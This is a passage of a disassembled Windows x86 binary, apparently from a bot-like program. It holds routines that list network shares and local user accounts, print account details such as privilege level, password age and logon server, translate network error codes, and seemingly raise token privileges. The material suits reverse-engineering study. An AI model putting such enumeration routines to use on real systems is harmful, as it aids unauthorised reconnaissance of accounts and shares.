		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C37
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418C37:				; CODE XREF: sub_418C2A+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6B	proc near		; CODE XREF: sub_418A98+20p
					; sub_419E79+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CAE40
		pop	esi
		retn
sub_418C6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8E	proc near		; CODE XREF: sub_401ACD+46B0p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2A
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h


loc_418CC7:				; CODE XREF: sub_418C8E+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CAEB8
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2A
		cmp	ebx, 0EAh
		jz	short loc_418D2A
		push	ebx
		push	ebx
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439098
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_418D97
; ---------------------------------------------------------------------------


loc_418D2A:				; CODE XREF: sub_418C8E+5Dj
					; sub_418C8E+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8E
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_418D38:				; CODE XREF: sub_418C8E+FCj
		push	dword ptr [esi+10h]
		call	dword_4CAE5C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D4F
		mov	eax, offset aNo	; "No"


loc_418D4F:				; CODE XREF: sub_418C8E+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D38
		xor	esi, esi


loc_418D8E:				; CODE XREF: sub_418C8E+A2j
		push	[ebp+var_4]
		call	dword_4CB004


loc_418D97:				; CODE XREF: sub_418C8E+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC7
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DAF	proc near		; CODE XREF: sub_401ACD:loc_4061EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E54
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF1
		dec	eax
		jz	short loc_418DE6
		dec	eax
		jnz	short loc_418E0C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF6
		add	esp, 14h
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418DE6:				; CODE XREF: sub_418DAF+1Dj
		push	ebx
		push	edi
		call	sub_418ED5
		pop	ecx
		pop	ecx
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418DF1:				; CODE XREF: sub_418DAF+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E05
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7B
		add	esp, 0Ch
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418E05:				; CODE XREF: sub_418DAF+45j
		push	57h
		pop	eax


loc_418E08:				; CODE XREF: sub_418DAF+35j
					; sub_418DAF+40j ...
		cmp	eax, edi
		jnz	short loc_418E2C


loc_418E0C:				; CODE XREF: sub_418DAF+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DADF0
		push	off_4389A4[eax*4]
		push	offset unk_439150
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------


loc_418E2C:				; CODE XREF: sub_418DAF+5Bj
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DADF0
		push	off_4389A0[eax*4]
		push	offset unk_439120
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------


loc_418E54:				; CODE XREF: sub_418DAF+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DADF0
		lea	eax, [eax+eax*2]
		push	off_4389A0[eax*4]
		push	offset unk_4390F8
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418E74:				; CODE XREF: sub_418DAF+7Bj
					; sub_418DAF+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7B	proc near		; CODE XREF: sub_418DAF+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2A
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CAE4C
		pop	edi
		leave
		retn
sub_418E7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED5	proc near		; CODE XREF: sub_418DAF+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CAE3C
		pop	esi
		retn
sub_418ED5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF6	proc near		; CODE XREF: sub_418DAF+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CAFCC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929E
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192D9
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419015
		dec	eax
		jz	short loc_41900E
		dec	eax
		jz	short loc_419007
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_419007:				; CODE XREF: sub_418EF6+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_41900E:				; CODE XREF: sub_418EF6+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_419015:				; CODE XREF: sub_418EF6+102j
		mov	eax, offset aGuest ; "Guest"


loc_41901A:				; CODE XREF: sub_418EF6+10Fj
					; sub_418EF6+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CA
; ---------------------------------------------------------------------------


loc_41929E:				; CODE XREF: sub_418EF6+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439170
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A72
		add	esp, 20h


loc_4192CA:				; CODE XREF: sub_418EF6+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192D9
		push	[ebp+var_4]
		call	dword_4CB004


loc_4192D9:				; CODE XREF: sub_418EF6+40j
					; sub_418EF6+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192DF	proc near		; CODE XREF: sub_401ACD+473Bp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2A
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h


loc_41931E:				; CODE XREF: sub_4192DF+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CAED4
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41937F
		cmp	eax, 0EAh
		jz	short loc_41937F
		push	eax
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439360
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_41937F:				; CODE XREF: sub_4192DF+62j
					; sub_4192DF+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940D
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FA


loc_419391:				; CODE XREF: sub_4192DF+EDj
		cmp	edi, esi
		jz	short loc_4193D0
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419391
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_4193D0:				; CODE XREF: sub_4192DF+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_43932C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch


loc_4193FA:				; CODE XREF: sub_4192DF+9Ej
					; sub_4192DF+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940D
		push	edi
		call	dword_4CB004
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41940D:				; CODE XREF: sub_4192DF+A5j
					; sub_4192DF+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931E
		cmp	edi, esi
		jz	short loc_419425
		push	edi
		call	dword_4CB004


loc_419425:				; CODE XREF: sub_4192DF+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41945F	proc near		; CODE XREF: sub_418A98+41p
					; sub_418C8E+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419511
		jz	loc_41950A
		cmp	eax, 7Bh
		ja	short loc_4194D6
		jz	short loc_4194CC
		cmp	eax, 5
		jz	short loc_4194C2
		cmp	eax, 8
		jz	short loc_4194B8
		cmp	eax, 32h
		jz	short loc_4194AE
		cmp	eax, 35h
		jz	short loc_4194A4
		cmp	eax, 57h
		jnz	loc_419560
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194A4:				; CODE XREF: sub_41945F+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194AE:				; CODE XREF: sub_41945F+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194B8:				; CODE XREF: sub_41945F+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194C2:				; CODE XREF: sub_41945F+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194CC:				; CODE XREF: sub_41945F+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194D6:				; CODE XREF: sub_41945F+1Aj
		sub	eax, 7Ch
		jz	short loc_419503
		sub	eax, 7C8h
		jz	short loc_4194FC
		dec	eax
		jz	short loc_4194F2
		dec	eax
		jnz	short loc_419560
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194F2:				; CODE XREF: sub_41945F+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194FC:				; CODE XREF: sub_41945F+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419503:				; CODE XREF: sub_41945F+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41950A:				; CODE XREF: sub_41945F+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419511:				; CODE XREF: sub_41945F+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954A
		jz	short loc_419543
		sub	eax, 8ADh
		jz	short loc_419575
		dec	eax
		dec	eax
		jz	short loc_41953C
		dec	eax
		jz	short loc_419535
		dec	eax
		dec	eax
		jnz	short loc_419560
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419535:				; CODE XREF: sub_41945F+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41953C:				; CODE XREF: sub_41945F+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419543:				; CODE XREF: sub_41945F+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41954A:				; CODE XREF: sub_41945F+B9j
		sub	eax, 8CAh
		jz	short loc_41957C
		sub	eax, 17h
		jz	short loc_419575
		sub	eax, 25h
		jz	short loc_41956E
		sub	eax, 29h
		jz	short loc_419567


loc_419560:				; CODE XREF: sub_41945F+35j
					; sub_41945F+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419567:				; CODE XREF: sub_41945F+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41956E:				; CODE XREF: sub_41945F+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419575:				; CODE XREF: sub_41945F+C2j
					; sub_41945F+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41957C:				; CODE XREF: sub_41945F+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419581:				; CODE XREF: sub_41945F+40j
					; sub_41945F+4Aj ...
		push	offset dword_4DAB90
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4DAB90
		pop	ecx
		retn
sub_41945F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419593	proc near		; CODE XREF: sub_401ACD+4781p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26D0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CAF84
		test	eax, eax
		jnz	short loc_419623
		mov	esi, offset dword_4DA98C
		push	offset unk_439694
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964C
; ---------------------------------------------------------------------------


loc_419623:				; CODE XREF: sub_419593+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41945F
		pop	ecx
		mov	esi, offset dword_4DA98C
		push	eax
		push	offset dword_439668
		push	esi
		call	sub_41B886
		add	esp, 14h


loc_41964C:				; CODE XREF: sub_419593+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419593	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419651	proc near		; CODE XREF: sub_416F1A+45p
					; sub_416F1A+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 2720517h
		push	eax
		call	dword_4CAF58
		test	eax, eax
		jnz	short loc_419670
		leave
		retn
; ---------------------------------------------------------------------------


loc_419670:				; CODE XREF: sub_419651+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CAF30
		test	eax, eax
		jz	short loc_4196AE
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419697
		or	[ebp+var_8], 2
		jmp	short loc_41969B
; ---------------------------------------------------------------------------


loc_419697:				; CODE XREF: sub_419651+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_41969B:				; CODE XREF: sub_419651+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CAFE0
		mov	esi, eax


loc_4196AE:				; CODE XREF: sub_419651+32j
		push	[ebp+var_4]
		nop
		call	near ptr 2670858h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BC	proc near		; CODE XREF: sub_401ACD+7915p
					; sub_4198EB+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
